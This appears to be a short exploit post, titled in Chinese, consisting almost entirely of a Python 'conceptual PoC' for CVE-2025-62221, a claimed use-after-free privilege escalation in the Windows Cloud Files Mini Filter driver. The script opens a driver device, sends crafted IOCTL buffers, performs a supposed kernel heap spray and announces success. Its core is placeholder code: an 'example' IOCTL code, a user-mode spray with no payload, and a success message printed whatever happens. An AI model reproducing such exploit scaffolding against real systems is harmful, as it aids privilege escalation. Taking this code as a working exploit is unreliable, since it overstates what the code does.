CVE-2025-62221 Windows Cloud Files Mini Filter Driver释放后重用特权提升漏洞

# CVE-2025-62221 PoC - Windows Cloud Files Mini Filter Driver UAF # This is a conceptual PoC demonstrating the attack pattern import struct import ctypes from ctypes import wintypes # Windows API constants FILE_DEVICE_FILE_SYSTEM = 0x00000009 METHOD_NEITHER = 3 FILE_ANY_ACCESS = 0 def CTL_CODE(device_type, func, method, access): return (device_type << 16) | (access << 14) | (func << 2) | method # IOCTL codes for CloudFiles Mini Filter IOCTL_CLOUDFILTER_TRIGGER_UAF = CTL_CODE( FILE_DEVICE_FILE_SYSTEM, 0x800 + 0x100, # Example function code METHOD_NEITHER, FILE_ANY_ACCESS ) class CloudFilterUAFExploit: def __init__(self): self.kernel32 = ctypes.windll.kernel32 self.device_handle = None def open_device(self): """Open Cloud Files Mini Filter driver handle""" device_name = r"\\.\CloudFilesFilter" self.device_handle = self.kernel32.CreateFileA( device_name.encode(), 0xC0000000, # GENERIC_READ | GENERIC_WRITE 0, # no sharing None, 3, # OPEN_EXISTING 0x80, # FILE_ATTRIBUTE_NORMAL None ) return self.device_handle != -1 def trigger_uaf(self): """Trigger the use-after-free condition""" if not self.device_handle: return False # Craft malicious input to trigger object release input_buffer = b'A' * 0x1000 # Malicious payload output_buffer = ctypes.create_string_buffer(0x1000) bytes_returned = wintypes.DWORD() # Trigger IOCTL that causes object release result = self.kernel32.DeviceIoControl( self.device_handle, IOCTL_CLOUDFILTER_TRIGGER_UAF, input_buffer, len(input_buffer), output_buffer, len(output_buffer), ctypes.byref(bytes_returned), None ) return result != 0 def spray_heap(self): """Spray kernel heap to control freed memory""" # Allocate many objects to control memory layout spray_buffers = [] for _ in range(100): buf = ctypes.create_string_buffer(0x1000) # Fill with shellcode/ROP gadgets address spray_buffers.append(buf) return spray_buffers def exploit(self): """Execute the full exploit chain""" print("[*] Opening CloudFiles Filter device...") if not self.open_device(): print("[-] Failed to open device") return False print("[*] Triggering Use-After-Free condition...") self.trigger_uaf() print("[*] Spraying kernel heap...") self.spray_heap() print("[*] Triggering dereference to hijack execution...") # Trigger second IOCTL to dereference dangling pointer self.trigger_uaf() print("[+] Exploit completed") return True if __name__ == "__main__": exploit = CloudFilterUAFExploit() exploit.exploit()